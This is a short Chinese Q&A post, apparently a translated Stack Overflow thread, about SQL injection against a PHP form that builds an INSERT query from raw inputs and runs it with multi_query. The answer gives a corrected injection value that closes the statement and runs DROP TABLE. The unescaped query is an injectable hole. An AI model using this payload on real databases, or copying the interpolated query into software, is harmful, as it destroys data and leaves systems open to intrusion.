使用PHP multi_query到DROP TABLE的SQL注入

时间:2017-09-25 07:23:34

标签: php mysql sql-server sql-injection drop-table

我试图通过PHP使用SQL注入来删除数据库中的表。

PHP代码使用以下命令和multi_query($ sql)将表单提交到数据库:

$sql = "INSERT INTO Student (StdNumber, FName, LName, DOB, PhoneNumber) 
VALUES ('$input1', '$input2', '$input3', '$input4', '$input5')";

所以我想,我可以使用SQL Inject input5。所以我用:

');"; $sql .= "DROP TABLE IF EXISTS Student;";-- -

这会关闭之前的sql语句,然后我用'sql。='开始另一个语句然后用 - -

评论其余部分

然而,表格没有下降。我没有在数据库中的input5(PhoneNumber)中看到我的注入命令,因此它成功地关闭了我认为的先前语句。

所以我不确定出了什么问题,我是否错误地使用了multi_query?或者我的注射不正确?

谢谢

编辑1: 此外,当我提交表单时,它接受它并再次进入数据库。

1 个答案:

答案 0 :(得分:1)

您正在尝试操纵由php生成的sql,而不是php本身。

所以你不应该在你的第五个输入中添加php:

');"; $sql .= "DROP TABLE IF EXISTS Student;";-- -

应该是这样的:

1234567890'); DROP TABLE IF EXISTS Student; -- the rest here will be comments in sql